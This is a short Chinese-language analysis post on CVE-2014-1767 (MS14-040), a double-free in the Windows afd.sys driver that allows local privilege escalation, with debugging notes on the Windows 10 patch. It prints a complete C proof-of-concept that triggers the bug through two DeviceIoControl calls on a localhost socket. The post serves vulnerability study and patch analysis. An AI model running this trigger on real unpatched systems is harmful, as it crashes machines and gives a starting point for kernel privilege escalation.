CVE-2014-1767(MS14-040)漏洞分析
阿新 • • 發佈:2022-03-25
0x00漏洞資訊
分析系統:win7 sp1
漏洞檔案:afd.sys
漏洞名稱:Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
漏洞型別:本地許可權提升
0x01漏洞分析
這是一個Double free 漏洞 把Double free 轉換成 uaf 漏洞 簡單點就是 釋放重引用
漏洞位置在 前面是控制碼 後面是對應的函式
0x1207F:afd!AfdTransmitFile
0x120C3:afd!AfdTransmitPackets
逐步分析這2個函式 漏洞原因 詳細文章已經很多了 就不在分析了 可以看下面地址的應該是網上寫的最詳細的
https://www.cnblogs.com/flycat-2016/p/5450275.html
https://www.cnblogs.com/flycat-2016/p/5450328.html
這裡看一下 win10修復措施 根據poc 除錯一下看如何修復的
除錯的作業系統是 win10 64位 21h2
poc
#include<windows.h> #include<stdio.h> //#include <ws2def.h> #pragma comment(lib,"WS2_32.lib") int main() { DWORD targetSize = 0x310; DWORD virtualAddress = 0x13371337; DWORD mdlSize = (0x4000 * (targetSize - 0x30) / 8) - 0xFFF0 - (virtualAddress & 0xFFF); static DWORD inbuf1[100]; memset(inbuf1, 0, sizeof(inbuf1)); inbuf1[6] = virtualAddress; inbuf1[7] = mdlSize; inbuf1[10] = 1; static DWORD inbuf2[100]; memset(inbuf2,0, sizeof(inbuf2)); inbuf2[0] = 1; inbuf2[1] = 0x0AAAAAAA; WSADATA WSAData; SOCKET s; sockaddr_in sa; int ierr; WSAStartup(0x2, &WSAData); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); memset(&sa, 0, sizeof(sa)); sa.sin_port = htons(135); sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); sa.sin_family = AF_INET; ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa)); static char outBuf[100]; DWORD bytesRet; __debugbreak(); DeviceIoControl((HANDLE)s, 0X1207F, (LPVOID)inbuf1, 0x40, outBuf, 0, &bytesRet, NULL); DeviceIoControl((HANDLE)s, 0X120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL); return 0; }
在AfdTransmitPackets和AfdTransmitFile 下斷點看 判斷是否是32位
32位長度不能小於0x30 64位傳入長度不能小於0x40
3環地址驗證
接著建立tpinfo
後面就是呼叫報錯 在釋放後 關鍵點 count被清除
接著就是AfdTransmitPackets 除錯 長度限制
讓後就是 關鍵判斷了 count已經被清除不會走釋放程式碼